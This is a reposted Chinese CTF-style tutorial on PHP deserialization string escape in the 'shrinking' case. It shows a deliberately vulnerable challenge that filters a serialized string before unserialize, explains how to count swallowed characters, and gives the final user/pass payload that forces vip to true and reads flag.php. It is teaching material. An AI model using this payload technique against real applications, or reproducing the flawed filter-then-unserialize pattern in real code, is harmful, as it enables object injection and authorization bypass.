反序列化字符串逃逸(下篇)

这篇具有很好参考价值的文章主要介绍了反序列化字符串逃逸(下篇)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

这里承接上篇文章反序列化字符串逃逸(上篇)-CSDN博客带大家学习反序列化字符串逃逸减少,没有看过的可以先去看看,不会吃亏。

例题:

<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($name){
    $safe=array("flag","php");
    $name=str_replace($safe,"hk",$name);
    return $name;
}
class test{
    var $user;
    var $pass;
    var $vip = false ;
    function __construct($user,$pass){
        $this->user=$user;
    $this->pass=$pass;
    }
}
$param=$_GET['user'];
$pass=$_GET['pass'];
$param=serialize(new test($param,$pass));
$profile=unserialize(filter($param));

if ($profile->vip){
    echo file_get_contents("flag.php");
}
?>

还是那个熟悉的三步法:

第一步:先把类写下来正常进行一个反序列化。

这里我先给user,pass随便赋一个值,进行反序列化,如下图:

<?php
class  test{
    var $user = "flag";
    var $pass = "benben";
    var $vip=true;
}
echo serialize(new test());

O:4:"test":3:{s:4:"user";s:4:"flag";s:4:"pass";s:6:"benben";s:3:"vip";b:1;}
 

反序列化字符串逃逸(下篇),PHP反序列化,web安全,PHP

第二步:如果变少则判断吃掉的内容。(吃第一个字符串提交到第二个字符串中间的的这个功能性代码”

//在这里flag被替换成hk,字符串减少,会吃掉后面的结构代码,
吃完"s:4:"pass";s:6",就代表 var $pass = "benben"这里的benben是可控的;我的目标代码是"s:3:"vip";b:1;}也就是说我要逃逸这个,所以我要把benben变成"s:4:"pass";s:6"benben";s:3:"vip";b:1;},接下来只要识别到;}这个地方就会反序列化结束,后面的"s:3:"vip";b:1;}自然逃逸成功

O:4:"test":3:{s:4:"user";s:4:"flag";s:4:"pass";s:6:"benben";s:3:"vip";b:1;}

"s:4:"pass";s:xx"这里会被吃掉,一共19个字符,flag被替换成hk一次搞定两位,必须至少吃10次

,多吃的1加上去就好了。中间要吃掉的变成";s:4:"pass";s:xx:"1(为什么是;s:xx呢?由于benben变了,但是我知道肯定是两位数字符,后面的"s:3:"vip";b:1;}不需要管,只需要数出"s:4:"pass";s:xx"这里会被吃掉,一共19个字符就好)

第三步:算出要逃逸的次数进行复制输出

这里复制10个flag

即user=flagflagflagflagflagflagflagflagflagflag

pass=1";s:4:"pass";s:6:"benben";s:3:"vip";b:1;}

接下来就可以拿到flag

希望大家能够有所收获,本文是反序列化字符串逃逸(上篇)-CSDN博客的下文,如果觉得不错,可以把上下篇看完,真心希望我的文章能够帮助大家!

反序列化字符串逃逸(下篇),PHP反序列化,web安全,PHP文章来源地址https://www.toymoban.com/news/detail-814738.html

到了这里,关于反序列化字符串逃逸(下篇)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • SpringBoot序列化、反序列化空字符串为null的三种方式

    SpringBoot项目 方式:①Jackson(推荐)、②切面+反射、③注解+切面+反射 后两种方式,未做返回值的处理。 1、 Jackson正反序列化(推荐) StdConverter 和 JsonSerializer的区别 ENTITY 序列化处理类 反序列化处理类 序列化-转换1 序列化-转换2 Controller 测试 2、切面+反射/3、注解+切面+反

    2024年04月22日
    浏览(44)
  • 解决一个JSON反序列化问题-空字符串变为空集合

    当我后端实体中定义如下: 如果前端传projectTypeId 是 null 或者 [] 都是没问题的。当前端传\\\"\\\" 则会报错。 报错如下: 意思是无法将空字符串强转为集合 前端把“” 变为null或者[]即可 (但是我所在这个项目,原先定义的是 private String projectTypeId; 前端传\\\"\\\" 也没毛病,但是后期更

    2024年01月25日
    浏览(50)
  • 字符串---第一部分 序列、字串;上升,公共

    第一部分 最长上升子序列,最长上升子串,最长公共子序列,最长公共子串--dp 第二部分 KMP,trie,双指针 第三部分 待定 动态规划:审题,状态确定,状态转移,边界条件 线性DP 最长上升子序列 403 线性DP 最长上升子序列【动态规划】_哔哩哔哩_bilibili 给定一个无序整数数组

    2024年02月07日
    浏览(50)
  • 力扣_字符串10—重复的DNA序列

    DNA序列 由一系列核苷酸组成,缩写为 ‘A’, ‘C’, ‘G’ 和 ‘T’.。 例如,“ACGAATTCCG” 是一个 DNA序列 。 在研究 DNA 时,识别 DNA 中的重复序列非常有用。 给定一个表示 DNA序列 的字符串 s ,返回所有在 DNA 分子中 出现不止一次 的 长度为 10 的序列(子字符串)。你可以按 任

    2024年02月19日
    浏览(31)
  • 【序列化与反序列化】关于序列化与反序列化MessagePack的实践

    在进行序列化操作之前,我们还对系统进行压测,通过 jvisualvm 分析cpu,线程,垃圾回收情况等;运用火焰图 async-profiler 分析系统性能,找出程序中占用CPU资源时间最长的代码块。 代码放置GitHub:https://github.com/nateshao/leetcode/tree/main/source-code/src/main/java/com/nateshao/source/code/ser

    2024年02月11日
    浏览(57)
  • 【算法训练-字符串 三】最长公共子串、最长公共子序列

    废话不多说,喊一句号子鼓励自己:程序员永不失业,程序员走向架构!本篇Blog的主题是【】,使用【】这个基本的数据结构来实现,这个高频题的站点是: CodeTop ,筛选条件为: 目标公司+最近一年+出现频率排序 ,由高到低的去 牛客TOP101 去找,只有两个地方都出现过才做

    2024年02月09日
    浏览(40)
  • 【网络】序列化反序列化

    在前文《网络编程套接字》中,我们实现了服务器与客户端之间的字符串通信,这是非常简单的通信,在实际使用的过程中,网络需要传输的不仅仅是字符串,更多的是结构化的数据(类似于 class , struct 类似的数据)。 那么我们应该怎么发送这些结构化的数据呢? 如果我们

    2024年02月05日
    浏览(43)
  • 序列化,反序列化之实例

    介绍文章 __construct() 当一个对象创建时自动调用 __destruct() 当对象被销毁时自动调用 (php绝大多数情况下会自动调用销毁对象) __sleep() 使**用serialize()函数时触发 __wakeup 使用unserialse()**函数时会自动调用 __toString 当一个对象被当作一个字符串被调用 __call() 在对象上下文中调用不

    2024年02月14日
    浏览(45)
  • Qt 对象序列化/反序列化

    阅读本文大概需要 3 分钟 日常开发过程中,避免不了对象序列化和反序列化,如果你使用 Qt 进行开发,那么有一种方法实现起来非常简单和容易。 我们知道 Qt 的元对象系统非常强大,基于此属性我们可以实现对象的序列化和反序列化操作。 比如有一个学生类,包含以下几

    2024年02月13日
    浏览(42)
  • 【网络】协议定制+序列化/反序列化

    如果光看定义很难理解序列化的意义,那么我们可以从另一个角度来推导出什么是序列化, 那么究竟序列化的目的是什么? 其实序列化最终的目的是为了对象可以 跨平台存储,和进行网络传输 。而我们进行跨平台存储和网络传输的方式就是IO,而我们的IO支持的数据格式就是

    2024年02月08日
    浏览(43)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包